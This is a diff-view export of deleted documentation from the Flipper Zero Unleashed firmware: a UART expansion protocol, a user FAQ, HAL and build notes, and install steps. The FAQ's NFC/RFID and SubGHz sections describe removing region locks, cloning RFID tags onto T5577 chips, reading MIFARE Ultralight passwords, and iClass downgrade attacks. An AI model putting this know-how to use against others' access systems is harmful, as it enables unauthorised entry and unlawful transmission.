| Header (1 byte) | Contents (1 byte) | Checksum (1 byte) |
|-----------------|-------------------|-------------------|
| 0x02 | Error code | XOR checksum |
The `Error code` field SHALL have one of the following values:
| Error code | Meaning |
|------------|-------------------------|
| 0x00 | OK (No error) |
| 0x01 | Unknown error |
| 0x02 | Baud rate not supported |
### Baud rate frame
BAUD RATE frames are used to negotiate communication speed. The initial connection SHALL always happen at 9600 baud. The first message sent by the module MUST be a BAUD RATE frame, even if a different speed is not required.
| Header (1 byte) | Contents (4 bytes) | Checksum (1 byte) |
|-----------------|--------------------|-------------------|
| 0x03 | Baud rate | XOR checksum |
If the requested baud rate is supported by the host, it SHALL respond with a STATUS frame with an OK error code, otherwise the error code SHALL be 0x02 (Baud rate not supported). Until the negotiation succeeds, the speed SHALL remain at 9600 baud. The module MAY send additional BAUD RATE frames with alternative speeds in case the initial request was refused. No other frames are allowed until the speed negotiation succeeds.
### Control frame
CONTROL frames are used to control various aspects of the communication and enable/disable various device features.
| Header (1 byte) | Contents (1 byte) | Checksum (1 byte) |
|-----------------|-------------------|-------------------|
| 0x04 | Command | XOR checksum |
The `Command` field SHALL have one of the following values:
| Command | Meaning | Note |
|---------|--------------------------|:----:|
| 0x00 | Start RPC session | 1 |
| 0x01 | Stop RPC session | 2 |
| 0x02 | Enable OTG (5V) on GPIO | 3 |
| 0x03 | Disable OTG (5V) on GPIO | 3 |
Notes:
1. Must only be used while the RPC session NOT active.
2. Must only be used while the RPC session IS active.
3. See 1, otherwise OTG is to be controlled via RPC messages.
### Data frame
DATA frames are used to transmit arbitrary data in either direction. Each DATA frame can hold up to 64 bytes. If an RPC session is currently open, all received bytes are forwarded to it.
| Header (1 byte) | Contents (1 to 65 byte(s)) | Checksum (1 byte) |
|-----------------|----------------------------|-------------------|
| 0x05 | Data | XOR checksum |
The `Data` field SHALL have the following structure:
| Data size (1 byte) | Data (0 to 64 bytes) |
|--------------------|----------------------|
| 0x00 ... 0x40 | Arbitrary data |
## Communication flow
In order for the host to be able to detect the module, the respective feature must be enabled first. This can be done via the GUI by going to `Settings → Expansion Modules` and selecting the required `Listen UART` or programmatically by calling `expansion_enable()`. Likewise, disabling this feature via the same GUI or by calling `expansion_disable()` will result in ceasing all communications and not being able to detect any connected modules.
The communication is always initiated by the module by the means of shortly pulling the RX pin down. The host SHALL respond with a HEARTBEAT frame indicating that it is ready to receive requests. The module then MUST issue a BAUDRATE request within Tto. Failure to do so will result in the host dropping the connection and returning to its initial state.
```
MODULE | FLIPPER
-----------------------------+---------------------------
| (Start)
Pull down RX -->
<-- Heartbeat
Baud Rate -->
<-- Status [OK | Error]
|
(Module changes baud rate | (Flipper changes
and waits for Tdt) | baud rate)
|
Control [Start RPC] -->
<-- Status [OK | Error]
-----------------------------+--------------------------- (1)
Data [RPC Request] -->
<-- Status [OK | Error]
<-- Data [RPC Response]
Status [OK | Error] -->
-----------------------------+--------------------------- (2)
Data [RPC Request pt.1] -->
<-- Status [OK | Error]
Data [RPC Request pt.2] -->
<-- Status [OK | Error]
Data [RPC Request pt.3] -->
<-- Status [OK | Error]
<-- Data [RPC Response]
Status [OK | Error] -->
-----------------------------+--------------------------- (3)
Heartbeat -->
<-- Heartbeat
Heartbeat -->
<-- Heartbeat
-----------------------------+---------------------------
Control [Stop RPC] -->
<-- Status [OK | Error]
(Module disconnected) |
| (No activity within Tto
| return to start)
(1) The module MUST confirm all implicitly requested frames (e.g. DATA frames containing RPC responses) with a STATUS frame.
(2) RPC requests larger than 64 bytes are split into multiple frames. Every DATA frame MUST be confirmed with a STATUS frame.
(3) When the module has no data to send, it MUST send HEARTBEAT frames with a period < Tto in order to maintain the connection.
The host SHALL respond with a HEARTBEAT frame each time.
```
## Error detection
Error detection is implemented via adding an extra checksum byte to every frame (see above).
The checksum is calculated by bitwise XOR-ing every byte in the frame (excluding the checksum byte itself), with an initial value of 0.
### Error recovery behaviour
In the event of a detected error, the concerned side MUST cease all communications and reset to initial state. The other side will then experience
a communication timeout and the connection will be re-established automatically.

View File

@@ -1,372 +0,0 @@
# FAQ
## I bought Flipper Zero, and I don't know what I can do with it, please help!
- Start with reading [official main page](https://flipperzero.one/)
- Then check out official docs where you can find answers to [most questions](https://docs.flipper.net/)
## How do I install Unleashed Firmware?
See [this](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/HowToInstall.md)
## What version should I install? What do the letters `e`, `c`... mean?
Follow this link for [details](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/CHANGELOG.md#recommended-update-option---web-updater).
## I installed Unleashed and now the backlight doesn't work
Youve enabled RGB backlight mod in settings made for custom RGB modded flippers. <br />
Please, do not use that version if your flipper isnt modded!
Disable in Settings -> LCD & Notifications -> RGB mod settings
If you have RGB backlight mod do the same but enable the mod instead
## What apps (plugins) are included with Unleashed Firmware?
See default pack and extra pack (for `e` build) list [here](https://github.com/xMasterX/all-the-plugins/tree/dev).
## Where can I find differences between the original (official) firmware and Unleashed Firmware?
[Right here](https://github.com/DarkFlippers/unleashed-firmware#whats-changed)
## How to use the SubGHz Remote app?
1. Open the app, press the `Back` button, and select `New map file`
2. Configure signal files and their names for every button (also you can only add one signal and make other buttons empty - just don't select any files for them in config)
3. Save the new map file
4. Open the map file and select your previously created file
5. Use buttons to send the subghz signal files that you selected in map config at step 2
## Where can I find what SubGHz protocols (manufacturers) are supported and what frequency and modulation to use with them?
Here - [link](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/SubGHzSupportedSystems.md).
## I want to request or make new SubGHz protocol, my remote (is not car keyfob) and is not supported, how to record RAW signal properly?
1. Open SubGHz app, (if you know the frequency skip that step and go to Read) select Frequency analyzer, press and hold button on your remote and place it near IR window on flipper<br />
You will find a approx. frequency that remote uses, release button on the remote and wait until frequency will be placed in history list<br />
Hold OK on flipper to jump into Read mode, now try pressing your remote couple times holding it for at least 2 seconds<br />
Try different modulations, AM650/FM238/FM476/FM12K - nothing works? Lets make RAW recording for analysis<br />
2. Knowing the frequency open Read RAW and set it here in config page<br />
Make sure RSSI Threshold is set to (----)<br />
You need to make 1 RAW for each modulation AM650/FM238/FM476/FM12K<br />
Press REC and on your remote press 1 button 5 times holding it for 1-2 seconds - then 5 times holding it for 5 seconds each time<br />
If your remote has more than 1 button - record each button in similar way<br />
Label each raw - what button you recorded
3. Copy all that RAW files to PC and create issue in firmware repo, attach raw's in archive<br />
Provide high quality photos of the remote, if possible - photos of disassembled remote too<br />
Its model, manufacturer, any known information<br />
If you have access to receiver board, add a photo too<br />
Done! If your remote appears not to be encrypted and very unique, it might be added soon<br />
In case if you want to help us or analyze that signals youself there's a great online tool - https://lab.flipper.net/pulse-plotter
## How to build (compile) the firmware?
Follow this [link](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/HowToBuild.md#how-to-build-by-yourself).
## I installed Unleashed firmware, and now my mobile app doesn't connect to flipper ( OR I changed flipper device name, and my mobile app now doesn't connect to flipper )
1. Click Forget flipper in the mobile app
2. Open `Phone Settings - Bluetooth`, find the flipper - if it present here - open its options and click forget device
3. On the flipper itself open `Settings -> Bluetooth -> Forget all devices` and confirm
4. Make sure your flipper has bluetooth `ON` then open the mobile app and pair it to the flipper
## My desktop (pin, favourites, etc..) (or other) settings were reset to default after an update, what do I do?
Just configure those settings again, and make sure you view the changelogs for the releases that came out after your previous version, when settings struct is changed, the settings file is reset after an update, this happens only when struct changes are required, so don't assume that settings will be reset in every release, this will only happen in specific ones
## Why is my flipper not connecting to Chrome?
The most common cause of the flipper not connecting to google chrome is having qFlipper open while trying to connect your flipper. <br />
Or having second flipper lab page open at same time.<br />
You must close qFlipper (or other flipper lab web pages) before attempting to connect your flipper to Chrome.
## Flipper doesn't work! How to restore firmware?
Follow this [guide](https://docs.flipper.net/basics/firmware-update/firmware-recovery)
## Useful links and files
Flipper Awesome - place where you can find almost all links that you might need:<br />
* [Awesome-FlipperZero](https://github.com/djsime1/awesome-flipperzero)
* Dict files for iButton Fuzzer and RFID Fuzzer:<br />
* https://t.me/flipperzero_unofficial_ru/37058 <br />
* https://t.me/flipperzero_unofficial_ru/37072
* UL Releases in [Telegram](https://t.me/unleashed_fw)
* UL Dev Builds in [Telegram](https://t.me/kotnehleb)
* Our [Discord](https://discord.unleashedflip.com)
## How do I change my flipper's name?
It's easy:
1. Open `Settings -> Desktop -> Change Flipper Name`
2. Enter new name and click `Save`
3. Exit from settings - flipper will automatically reboot
4. Done, you now have a custom name which will stay until you reset it or replace it with a new one
## How to reset the name to default?
1. Open `Settings -> Desktop -> Change Flipper Name`
2. Do not enter anything, just click `Save`
3. Exit from settings - Flipper will automatically reboot
4. Done, name is reset to its original form.
## How do I copy files from GitHub to my Flipper Zero?
Follow this detailed [guide](https://github.com/wrenchathome/flipperfiles/blob/main/_Guides/How2Flipper.pdf).
## Where can I find “This file” or “That file” for my flipper?
These 2 repos will cover (99.9%) of your needs:<br />
* https://github.com/UberGuidoZ/Flipper/tree/main
* https://github.com/UberGuidoZ/Flipper-IRDB/tree/main
## How can I support the Unleashed firmware project?
Please follow this [link](https://github.com/DarkFlippers/unleashed-firmware#please-support-development-of-the-project).
## What are the dev builds? Where I can get the latest build for dev branch?
This is an automatic assembly of the latest commits from this repository that have not yet been released. The previous build is deleted when a new one is uploaded, and the old one remains only as a file in the telegram channel
> [!CAUTION]
>
> Be wary - these are not release ready builds!
>
> They may have bugs and issues!
> If you are using the dev build and find issues:
> Report it! [GitHub issues](https://github.com/DarkFlippers/unleashed-firmware/issues)
Dev builds are available in Discord, in channel - `unleashed-development` <br />
Builds can also be found [here](https://t.me/kotnehleb).<br />
And [here](https://dev.unleashedflip.com/)<br />
## What is the update server?
We have our own update server https://up.unleashedflip.com/directory.json <br /><br />
It is identical to the official one; it is impossible to change it in applications without rebuilding the application <br /><br />
If you want to use it, you need to patch or build your own build of the application you are interested in <br />
Also you can use it with uFBT to build apps for UL SDK - uFBT will accept that link as one of args<br />
The server will remain active and will be automatically updated
## External Radio: How to connect the CC1101 module
[Guide](https://github.com/quen0n/flipperzero-ext-cc1101)
## How to add extra Sub-GHz frequencies
[Guide](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/SubGHzSettings.md)
## How to use Flipper as new SubGHz remote (Nice FlorS, BFT Mitto, Somfy Telis, Aprimatic, AN-Motors, etc..)
[Guide](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/SubGHzRemoteProg.md)
## How Can I Unlock / Remove SubGHz restriction?
> [!TIP]
>
> If you are using Unleashed Firmware - **all region locks are removed by default**!
Also, there is a way to go outside of frequencies stated in `CC1101 datasheet`, but transmission on those frequencies may cause chip damage, make sure you know what you are doing!
Do not edit these settings to bypass region lock since there is no region locks in unleashed, all chip supported frequencies will work without any extra steps.<br /><br />
But, if you know that you need to bypass subghz chip safety restrictions - you can unlock the safety restriction which will allow you to go outside the chips supported frequency. <br /><br />
This covers how to do it and information regarding the risks of damage to the flipper by doing so.
Please read [this](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/DangerousSettings.md) before.
## Can I clone a car key fob for my own car to use my flipper as a key?
No, and trying to do so with Read RAW will lead to key desync or unpair with blacklist which means re-pair is very hard to do and requires service tools
## How to clean .DS_Store and other dot files left from macOS
`sudo dot_clean -mn /Volumes/Flipper\ SD` -> `Flipper\ SD` may be named differently for you, replace it with your microSD card name
## How to sort files on flipper microSD on macOS / Linux?
Will make sorting faster, and will work for OFW:
1. `brew install fatsort` -> Install fatsort using `brew.sh` (only on macOS)
2. `diskutil list` -> Find your disk name for flipper microSD
3. `diskutil unmount /Volumes/Flipper\ SD`
4. `sudo fatsort -n /dev/disk4s1` -> Replace `disk4s1` with your microSD id found on step 2
## My flipper feels slow and unresponsive?
1. Make sure you are using a good microSD card from a known brand. Flipper works with microSD via SPI meaning not all microSDs will work well even if they are compatible with other devices.
2. Go into `Settings -> System` and make sure that you have
```text
Log Level = None
Debug = OFF
Heap Trace = None
```
3. If some settings are set to something different - change them to `None` / `OFF`
4. Make sure your battery is charged, that can affect performance too
## Flipper crashed, stuck, frozen?
Reboot it by holding `Left` + `Back` buttons
![how to reboot flipper gif, shows how to hold left and back button](https://media.tenor.com/eUbBDDEzmwMAAAAC/flipper-zero-flipper-zero-reboot.gif)
## How to reset a forgotten Flipper pin code?
**Disconnect USB Cable if it was connected**
1. Turn off the device - hold back button -> `Turn Off`
**If you can't turn it off, try the next step but hold the buttons for 30-40 seconds)**
2. Hold <kbd>Up</kbd> + <kbd>Back</kbd> for `~5 sec` -> You will see a reset screen -> Hold <kbd>Right</kbd> to reset (and <kbd>Down</kbd> arrow to exit if you don't want to reset your pin code)
3. Done, user config (some settings, pin code) is erased to default factory setup, user files on microSD will stay
## What are the differences between x, y, and z firmware?
If you just got your flipper and not sure what will work better for you, start with original official firmware, if you think you need more features or want to remove subghz region locks then:<br />
* Try installing **Unleashed firmware**, which is fork of official firmware with many new features and preinstalled apps (check out `e` build).<br />
* In other case, If you want to experiment more with UI and other things look for existing forks of Unleashed Firmware.<br />
* Or, create your own fork with your own customisations<br />
* Also, before reporting any found issues, make sure you are in correct repo, if you are not using **Unleashed**, but a different fork or the original firmware, do not report issue in **Unleashed firmware** repo or UL communities (Telegram, Discord, etc..)
## Is there a correct way to capture Infrared signals?
There is indeed, especially with AC units - a new documentation has been released with some notes and steps on capturing infrared signals correctly along with some example data so you visually able to understand the difference between the two.
[More info](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/InfraredCaptures.md)
## NFC / RFID FAQ
From our good friends `@Equip` and `@np0` <br />
### MIFARE Ultralight
Scan the card, hold the Flipper Zero up to the reader to get the password to unlock the rest of the sectors, then scan the card again.
### MIFARE DESFire / MIFARE Ultralight C
The Flipper Zero has no available attacks for this card currently.
### Bank cards
- You cannot clone bank cards
- The Flipper Zero cannot emulate bank cards
- The Flipper Zero cannot pretend to be a point of sale machine
### Amiibos
- `NTAG215`. That's it. It's not going on a MIFARE Classic.
- Currently, you cannot write Amiibos to new physical tags.
### HID / iClass
- `Picopass` iClass can be read using the `Picopass` reader plugin
- 26bit Picopass can be downgraded to H10301 RFID credentials (note, it is not guaranteed to work if the reader is not configured to read low frequency)
- Readers will need to be configured and have an LF RFID antenna in order to be read. Certain iClass readers are HF only, and do not have the ability to have LF configured.
- **Emulation for Picopass** was added on July 26th, and the updated version can be found in latest releases of **Unleashed** Firmware with apps preinstalled, or in official Apps Hub via Flipper Mobile app
- Write support for personalization mode cards is doable with the app
- The Seader app and a [SAM expansion board](https://www.redteamtools.com/nard-sam-expansion-board-for-flipper-zero-with-hid-seos-iclass-sam/) will allow you to read more secure HID cards, which may be helpful in downgrade attacks
### LF-RFID
If you want to make clones of low frequency RFID chips you need to write to T5577's. `Blanks` do not exist. All of the chips the Flipper Zero can interact with are read-only and cannot be overwritten or purchased blank.
T5577s are multi-emulator chips that the Flipper Zero can program to be other tags
### Unknown Card / Fob
If you have exhausted all options of scanning via NFC / RFID / PICOPASS then take a photo of:
- The front and back of your credential
- The reader you use with the credential
- If your credential is a card, hold it up to a very bright light source e.g. a lightbulb and take a photo of the exposed antenna. This is useful for identification, post it for us to identify!
## How do I access the CLI / Logs?
To access the Serial CLI, click one of the following based on your platform.
<blockquote>
<details>
<summary>Desktop web browser*</summary>
<em>*Chromium browsers only, such as: Google Chrome, Microsoft Edge, Opera / Opera GX, Brave, and Vivaldi.</em>
<ul>
<li>Connect your Flipper via USB.</li>
<li>Ensure qFlipper and any other serial terminals are closed.</li>
<li>Open <a href="https://lab.flipper.net/cli">lab.flipper.net/cli</a> in one of the aforementioned browsers.</li>
<li>Click <kbd>CONNECT</kbd> and select <kbd>USB Serial Device</kbd> from the list.</li>
<li>Wait until you can see your device details on screen.</li>
<li>Select the 💻 CLI item from the left sidebar.</li>
<li><strong>Done!</strong></li>
</ul>
</details>
</blockquote>
<blockquote>
<details>
<summary>Windows</summary>
<ul>
<li>Install <a href="https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html">PuTTY</a> if it isn't already.</li>
<li>Connect your Flipper via USB.</li>
<li>Open qFlipper and look for the COM port next to the Flipper's name. <em> (Should say COM followed by a number, like <kbd>COM1</kbd>)</em></li>
<li>Take note of the COM port number.</li>
<li><strong>CLOSE qFlipper</strong>, otherwise the next steps won't work.</li>
<li>Open PuTTY and ensure you're on the Session screen.</li>
<li>Select <kbd>Serial</kbd> under connection type.</li>
<li>Set serial line to the COM port. <em> (Just COM followed by the number, like <kbd>COM1</kbd>)</em></li>
<li>Set speed to <code>115200</code></li>
<li><em>Optional: Save the session settings for easy connection later.</em></li>
<li>Finally, click <kbd>Open</kbd> to enter the CLI.</li>
<li><strong>Done!</strong></li>
<li>If you get an "Access Denied" error, make sure qFlipper isn't running!</li>
</ul>
</details>
</blockquote>
<blockquote>
<details>
<summary>MacOS/Linux</summary>
<em>Note: I'm a filthy Windows user without any way to verify this procedure. Let me know if it's wrong!</em>
<ul>
<li>Install <a href="https://www.gnu.org/software/screen/">GNU Screen</a> if it isn't already.</li>
<li>Connect your Flipper via USB.</li>
<li>Open qFlipper and look for the device path next to the Flipper's name. <em>(Starts with /dev/tty)</em></li>
<li><em>Alternatively: Run <code>ls /dev/tty.*</code> in a terminal.</em></li>
<li>Take note of the full device path.</li>
<li><strong>CLOSE qFlipper</strong>, otherwise the next steps won't work.</li>
<li>Open a terminal.</li>
<li>Run <code>screen PATH 115200</code>, replacing PATH with the device path from earlier.</li>
<li><strong>Done!</strong></li>
</ul>
</details>
</blockquote>
<blockquote>
<details>
<summary>Android</summary>
<ul>
<li>Install <a href="https://play.google.com/store/apps/details?id=de.kai_morich.serial_usb_terminal">Serial USB Terminal</a> if it isn't already.</li>
<li>Open the app and go to the Connections screen in the hamburger menu <em>(3 bars icon)</em></li>
<li>Connect your Flipper via USB.</li>
<li>Click the refresh icon if it doesn't automatically show up.</li>
<li>Allow Serial USB Terminal to access Flipper if prompted.</li>
<li>If it doesn't automatically connect, click the connect icon in the upper right. <em>(2 plugs icon)</em></li>
<li><strong>Done!</strong></li>
<li><em>Note: To exit log mode, you'll have to disconnect and reconnect using the icon.</em></li>
</ul>
</details>
</blockquote>
<blockquote>
<details>
<summary>iPhone</summary>
Unfortunately, iOS is incapable of accessing a serial terminal over USB; try one of the other methods<br />
<ul>
<li>On the Flipper, open the settings, go to System, and set Log Level to Debug. <em>(You can keep Debug set to off unless someone asks you to turn it on)</em></li>
<li>Once you have the CLI open, type <code>log</code> and press enter to start watching logs. Press <kbd>Ctrl-C</kbd> or <kbd>Cmd-C</kbd> to exit log mode.</li>
</ul>
</details>
</blockquote>
<br />
<br />
**CLI FAQ Source + Check out this FAQ for more info:**<br /><br />
https://github.com/djsime1/awesome-flipperzero/blob/main/FAQ.md

View File

@@ -1,40 +0,0 @@
# Run time checks and forced system crash {#furi_check}
The best way to protect system integrity is to reduce amount cases that we must handle and crash the system as early as possible.
For that purpose, we have a bunch of helpers located in Furi Core `check.h`.
## Couple notes before start
- Definition of Crash — log event, save crash information in RTC and reboot the system.
- Definition of Halt — log event, stall the system.
- Debug and production builds behave differently: debug build will never reset system in order to preserve state for debugging.
- If you have debugger connected we will stop before reboot automatically.
- All helpers accept optional MESSAGE_CSTR: it can be in RAM or Flash memory, but only messages from Flash will be shown after system reboot.
- MESSAGE_CSTR can be NULL, but macros magic already doing it for you, so just don't.
## `furi_assert(CONDITION)` or `furi_assert(CONDITION, MESSAGE_CSTR)`
Assert condition in development environment and crash the system if CONDITION is false.
- Should be used at development stage in apps and services.
- Keep in mind that release never contains this check.
- Keep in mind that libraries never contain this check by default, use `LIB_DEBUG=1` if you need it.
- Avoid putting function calls into CONDITION, since it may be omitted in some builds.
## `furi_check(CONDITION)` or `furi_check(CONDITION, MESSAGE_CSTR)`
Always assert condition and crash the system if CONDITION is false.
- Use it if you always need to check conditions
## `furi_crash()` or `furi_crash(MESSAGE_CSTR)`
Crash the system.
- Use it to crash the system. For example, if an abnormal condition is detected.
## `furi_halt()` or `furi_halt(MESSAGE_CSTR)`
Halt the system.
- We use it internally to shutdown Flipper if poweroff is not possible.

View File

@@ -1,117 +0,0 @@
# Using FuriHalBus API {#furi_hal_bus}
## Basic info
On system startup, most of the peripheral devices are under reset and not clocked by default. This is done to reduce power consumption and to guarantee that the device will always be in the same state before use.
Some crucial peripherals are enabled right away by the system, others must be explicitly enabled by the user code.
**NOTE:** Here and afterwards, the word *"system"* refers to any code belonging to the operating system, hardware drivers or built-in apps.
To **ENABLE** a peripheral, call `furi_hal_bus_enable()`. At the time of the call, the peripheral in question **MUST** be disabled;
otherwise a crash will occur to indicate improper use. This means that any given peripheral cannot be enabled twice or more without disabling it first.
To **DISABLE** a peripheral, call `furi_hal_bus_disable()`. Likewise, the peripheral in question **MUST** be enabled, otherwise a crash will occur.
To **RESET** a peripheral, call `furi_hal_bus_reset()`. The peripheral in question MUST be enabled, otherwise a crash will occur.
This method is used whenever it is necessary to reset all the peripheral's registers to their initial states without disabling it.
## Peripherals
Built-in peripherals are divided into three categories:
- Enabled by the system on startup, never disabled;
- Enabled and disabled by the system on demand;
- Enabled and disabled by the user code.
### Always-on peripherals
Below is the list of peripherals that are enabled by the system. The user code must **NEVER** attempt to disable them.
*Table 1* — Peripherals enabled by the system
| Peripheral | Enabled at |
|:-------------:|:---------------------------:|
| DMA1 | `furi_hal_dma.c` |
| DMA2 | -- |
| DMAMUX | -- |
| GPIOA | `furi_hal_resources.c` |
| GPIOB | -- |
| GPIOC | -- |
| GPIOD | -- |
| GPIOE | -- |
| GPIOH | -- |
| PKA | `furi_hal_bt.c` |
| AES2 | -- |
| HSEM | -- |
| IPCC | -- |
| FLASH | enabled by hardware |
### On-demand system peripherals
Below is the list of peripherals that are enabled and disabled by the system. The user code must avoid using them directly, preferring the respective APIs instead.
When not using the API, these peripherals MUST be enabled by the user code and then disabled when not needed anymore.
*Table 2* — Peripherals enabled and disabled by the system
| Peripheral | API header file |
|:--------------:|:------------------------:|
| RNG | `furi_hal_random.h` |
| SPI1 | `furi_hal_spi.h` |
| SPI2 | -- |
| I2C1 | `furi_hal_i2c.h` |
| I2C3 | -- |
| USART1 | `furi_hal_serial.h` |
| LPUART1 | -- |
| USB | `furi_hal_usb.h` |
### On-demand shared peripherals
Below is the list of peripherals that are not enabled by default and **MUST** be enabled by the user code each time it accesses them.
Note that some of these peripherals may also be used by the system to implement its certain features.
The system will take over any given peripheral only when the respective feature is in use.
*Table 3* — Peripherals enabled and disabled by user
| Peripheral | System | Purpose |
|:----------:|:------:|:----------------------------------------|
| CRC | | |
| TSC | | |
| ADC | | |
| QUADSPI | | |
| TIM1 | yes | subghz, lfrfid, nfc, infrared, etc... |
| TIM2 | yes | subghz, infrared, etc... |
| TIM16 | yes | speaker |
| TIM17 | yes | cc1101_ext |
| LPTIM1 | yes | tickless idle timer |
| LPTIM2 | yes | pwm |
| SAI1 | | |
| LCD | | |
## DMA
The `DMA1`, `DMA2` peripherals are a special case in that they have multiple independent channels.
Some channels may be in use by the system.
Below is the list of DMA channels and their usage by the system.
*Table 4* — DMA channels
| DMA | Channel | System | Purpose |
|:------:|:-------:|:------:|:-----------------------------|
| DMA1 | 1 | yes | digital signal |
| -- | 2 | yes | -- |
| -- | 3 | | |
| -- | 4 | yes | pulse reader |
| -- | 5 | | |
| -- | 6 | yes | USART_Rx |
| -- | 7 | yes | LPUART_Rx |
| DMA2 | 1 | yes | infrared, lfrfid, subghz, |
| -- | 2 | yes | -- |
| -- | 3 | yes | cc1101_ext |
| -- | 4 | yes | cc1101_ext |
| -- | 5 | yes | cc1101_ext |
| -- | 6 | yes | SPI |
| -- | 7 | yes | SPI |

View File

@@ -1,30 +0,0 @@
# Furi HAL Debugging {#furi_hal_debugging}
Some Furi subsystems have additional debugging features that can be enabled by adding additional defines to firmware compilation.
Usually, they are used for low level tracing and profiling or signal redirection/duplication.
## FuriHalOs
`--extra-define=FURI_HAL_OS_DEBUG` enables tick, tick suppression, idle and time flow.
There are 3 signals that will be exposed to external GPIO pins:
- `AWAKE``PA7` — High when system is busy with computations, low when sleeping. Can be used to track transitions to sleep mode.
- `TICK``PA6` — Flipped on system tick, only flips when no tick suppression in progress. Can be used to track tick skew and abnormal task scheduling.
- `SECOND``PA4` — Flipped each second. Can be used for tracing RT issue: time flow disturbance means system doesn't conform Hard RT.
## FuriHalPower
`--extra-define=FURI_HAL_POWER_DEBUG` enables power subsystem mode transitions tracing.
There are 2 signals that will be exposed to external GPIO pins:
- `WFI``PB2` — Light sleep (wait for interrupt) used. Basically, this is the lightest and most non-breaking things power save mode. All functions and debug should work correctly in this mode.
- `STOP``PC3` — STOP mode used. Platform deep sleep mode. Extremely fragile mode where most of the silicon is disabled or in unusable state. Debugging MCU in this mode is nearly impossible.
## FuriHalSD
`--extra-define=FURI_HAL_SD_SPI_DEBUG` enables SD card SPI bus logging.

View File

@@ -1,44 +0,0 @@
## What a Firmware Target is {#hardware_targets}
Flipper's firmware is modular and supports different hardware configurations in a common code base. It encapsulates hardware-specific differences in `furi_hal`, board initialization code, linker files, SDK data and other information in a _target definition_.
Target-specific files are placed in a single sub-folder in `targets`. It must contain a target definition file, `target.json`, and may contain other files if they are referenced by current target's definition. By default, `fbt` gathers all source files in target folder, unless they are explicitly excluded.
Targets can inherit most code parts from other targets, to reduce common code duplication.
## Target Definition File
A target definition file, `target.json`, is a JSON file that can contain the following fields:
* `include_paths`: list of strings, folder paths relative to current target folder to add to global C/C++ header path lookup list.
* `sdk_header_paths`: list of strings, folder paths relative to current target folder to gather headers from for including in SDK.
* `startup_script`: filename of a startup script, performing initial hardware initialization.
* `linker_script_flash`: filename of a linker script for creating the main firmware image.
* `linker_script_ram`: filename of a linker script to use in "updater" build configuration.
* `linker_script_app`: filename of a linker script to use for linking .fap files.
* `sdk_symbols`: filename of a .csv file containing current SDK configuration for this target.
* `linker_dependencies`: list of libraries to link the firmware with. Note that those not in the list won't be built by `fbt`. Also several link passes might be needed, in such case you may need to specify same library name twice.
* `inherit`: string, specifies hardware target to borrow main configuration from. Current configuration may specify additional values for parameters that are lists of strings, or override values that are not lists.
* `excluded_sources`: list of filenames from the inherited configuration(s) NOT to be built.
* `excluded_headers`: list of headers from the inherited configuration(s) NOT to be included in generated SDK.
* `excluded_modules`: list of strings specifying fbt library (module) names to exclude from being used to configure build environment.
## Apps & Hardware
Not all apps are available on different hardware targets.
* For apps built into the firmware, you have to specify a compatible app set using `FIRMWARE_APP_SET=...` fbt option. See [fbt docs](./fbt.md) for details on build configurations.
* For apps built as external FAPs, you have to explicitly specify compatible targets in the app's manifest, `application.fam`. For example, to limit the app to a single target, add `targets=["f7"],` to the manifest. It won't be built for other targets.
For details on app manifests, check out [their docs page](./AppManifests.md).
## Building Firmware for a Specific Target
You have to specify TARGET_HW (and, optionally, FIRMWARE_APP_SET) for `fbt` to build firmware for a non-default target. For example, building and flashing debug firmware for f18 can be done with
./fbt TARGET_HW=18 flash_usb_full

View File

@@ -1,60 +0,0 @@
# How to Build by yourself:
## Install required software
- Git - [Download](https://git-scm.com/downloads) for Windows, on Linux/Mac install via package manager (`brew`, `apt`, ...)
For development:
- Git
- VSCode
## Clone the Repository
You should clone with
```shell
$ git clone --recursive https://github.com/DarkFlippers/unleashed-firmware.git
```
## VSCode integration
`fbt` includes basic development environment configuration for VSCode. Run `./fbt vscode_dist` to deploy it. That will copy the initial environment configuration to the `.vscode` folder. After that, you can use that configuration by starting VSCode and choosing the firmware root folder in the `File > Open Folder` menu.
# Build on Linux/macOS
Check out `documentation/fbt.md` for details on building and flashing firmware.
### Compile plugin and run it on connected flipper
```sh
./fbt COMPACT=1 DEBUG=0 launch_app APPSRC=applications_user/yourplugin
```
### Compile everything + get updater package to update from microSD card
```sh
./fbt COMPACT=1 DEBUG=0 updater_package
```
Check `dist/` for build outputs.
Use `flipper-z-{target}-update-{suffix}.tgz` to flash your device.
# Build on Windows
Check out `documentation/fbt.md` for details on building and flashing firmware.
### Compile everything + get updater package to update from microSD card
```powershell
./fbt.cmd COMPACT=1 DEBUG=0 updater_package
```
**You may need to change `/` to `\` in front of fbt command (Only for Windows)!**
Check `dist/` for build outputs.
Use `flipper-z-{target}-update-{suffix}.tgz` to flash your device.
If compilation fails, make sure all submodules are all initialized. Either clone with `--recursive` or use `git submodule update --init --recursive`.

View File

@@ -1,142 +0,0 @@
# Update firmware
## [Get Latest Firmware from GitHub Releases](https://github.com/DarkFlippers/unleashed-firmware/releases)
<br>
<br>
### **If installing for first time - Update to the latest official firmware before proceeding**
### **If you are already using unleashed - no need to install any other FW or version before installing update, just install latest version on top of your current one, all will be fine**
<br>
<br>
## With Unleashed FW Web Installer
- Be sure you updated to latest official release before(only if installing for the first time), and verify that microSD card is installed
- Open [-> Unleashed FW Web Installer](https://web.unleashedflip.com)
- Connect your device and press `Connect` button - Select your device in popup window (be sure to use Chromium based browser)
- Select Release or Dev branch
- Press `Install` button
- And wait, if all flashed
successfully - you will have all needed assets pre installed
- Done
<br>
<br>
## With Flipper Lab - Web Updater
- Be sure you updated to latest official release before(only if installing for the first time), and verify that microSD card is installed
- Open latest release page - [Releases](https://github.com/DarkFlippers/unleashed-firmware/releases/latest)
- Connect your device and follow link - `Install via Web Updater`
after that on web updater page - press `Connect` button
- Press `Install` button
- And wait, if all flashed
successfully - you will have all needed assets pre installed
- Done
![web](https://user-images.githubusercontent.com/40743392/235005830-98ceda39-a143-47ef-ad4d-5489bc3df98b.png)
<br>
<br>
## With iOS mobile app
- Be sure you updated to latest official release before(only if installing for the first time), and verify that microSD card is installed
- Open latest release page - [Releases](https://github.com/DarkFlippers/unleashed-firmware/releases/latest)
- Download `flipper-z-f7-update-(version).tgz`
